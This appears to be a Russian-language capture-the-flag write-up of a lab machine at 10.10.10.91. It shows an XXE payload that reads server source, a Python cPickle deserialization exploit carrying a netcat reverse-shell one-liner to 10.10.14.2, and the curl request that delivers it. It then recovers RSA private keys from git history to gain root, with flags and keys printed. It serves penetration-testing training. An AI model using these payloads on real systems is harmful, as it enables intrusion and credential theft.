Обзор сервисов 

$ sudo nmap -sV -sC -sS -p- -oN nmap 10.10.10.91

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://10.10.10.91:5000/

$ feroxbuster -u http://10.10.10.91:5000/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

200     1816l    15358w   546263c http://10.10.10.91:5000/feed
http://10.10.10.91:5000/upload
http://10.10.10.91:5000/newpost

=> загрузка файлов => можно загружать xml

XML

test.xml:

<?xml version="1.0"?>
<body>
  <Author>auth</Author>
  <Subject>subj</Subject>
  <Content>cont</Content>
</body>

=> Получилось загрузить файл на бэкенд, который был успешно обработан: Author: auth Subject: subj Content: cont URL for later reference: /uploads/test.xml

Путь файла: /home/roosa/deploy/src

<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///home/roosa/deploy/src/feed.py"> ]>
<body>
  <Author>auth</Author>
  <Subject>subj</Subject>
  <Content>&example;</Content>
</body>

=> feed.py

def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER,
                               filename)

@app.route("/")
def xss():
    return template('index.html')

@app.route("/feed")
def fakefeed():
   return send_from_directory(".","devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']


## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
  app.run(host='0.0.0,0', Debug=True)

=> cpickle exploit.py

import os
import cPickle
import base64

cmd = 'rm /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc 10.10.14.2 1234 >/tmp/x'

class MyClass(object):
    def __reduce__(self):
        return (os.system, (cmd,))

payload = cPickle.dumps(MyClass())
encoded = base64.urlsafe_b64encode(payload)
print(encoded)

$ python exp.py
Y3Bvc2l4CnN5c3RlbQpwMQooUydybSAvdG1wL3g7bWtmaWZvIC90bXAveDtjYXQgL3RtcC94fC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC4yIDEyMzQgPi90bXAveCcKcDIKdFJwMwou

Reverse Shell 

nc -lnvp 1234
curl -X POST -H "Content-Type: text/plain" -d "$(python exp.py)" http://10.10.10.91:5000/

Флаг пользователя 

roosa@gitter:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:50:56:b9:bc:65 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.91/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:bc65/64 scope global mngtmpaddr dynamic
       valid_lft 86097sec preferred_lft 14097sec
    inet6 fe80::250:56ff:feb9:bc65/64 scope link
       valid_lft forever preferred_lft forever
roosa@gitter:~$ cat user.txt
c5808e1643e801d40f09ed87cdecc67b

RSA 

roosa@gitter:~/work/blogfeed/:/integration$ cat authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----

roosa@gitter:~/work/blogfeed$ ls -la
total 28
drwxrwx--- 5 roosa roosa 4096 Mar 26 08:11 .
drwxrwxr-x 3 roosa roosa 4096 Mar 26 08:11 ..
drwxrwx--- 8 roosa roosa 4096 Mar 26 08:11 .git
-rw-rw---- 1 roosa roosa  104 Mar 19  2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 26 08:11 resources
-rwxrw-r-- 1 roosa roosa  180 Mar 21  2018 run-gunicorn.sh
drwxrwx--- 2 roosa roosa 4096 Mar 26 08:11 src

$ git log
...

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key for feed integration from tnerprise backend

=>

git diff 33e87c312c08735a02fa9c796021a4a3023129ad d387abf63e05c9628a59195cec9311751bdb283f

=> различие в ключах

roosa@gitter:~/work/blogfeed/:/integration$ git checkout 33e87c312c08735a02fa9c796021a4a3023129ad --force
HEAD is now at 33e87c3... reverted accidental commit with proper key
roosa@gitter:~/work/blogfeed/:/integration$ ls
authcredentials.key
roosa@gitter:~/work/blogfeed/:/integration$ cat authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----

roosa@gitter:~/work/blogfeed/:/integration$ git checkout d387abf63e05c9628a59195cec9311751bdb283f --force
Previous HEAD position was 33e87c3... reverted accidental commit with proper key
HEAD is now at d387abf... add key for feed integration from tnerprise backend
roosa@gitter:~/work/blogfeed/:/integration$ cat authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
+XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
-----END RSA PRIVATE KEY-----

=> сохраним ключи как id_rsa1 и id_rsa2

chmod 600 id_rsa1 id_rsa2
ssh -i id_rsa2 [email protected]

Флаг суперпользователя 

root@gitter:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:50:56:b9:bc:65 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.91/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:bc65/64 scope global mngtmpaddr dynamic
       valid_lft 86274sec preferred_lft 14274sec
    inet6 fe80::250:56ff:feb9:bc65/64 scope link
       valid_lft forever preferred_lft forever
root@gitter:~# cat root.txt
d4fe1e7f7187407eebdd3209cb1ac7b3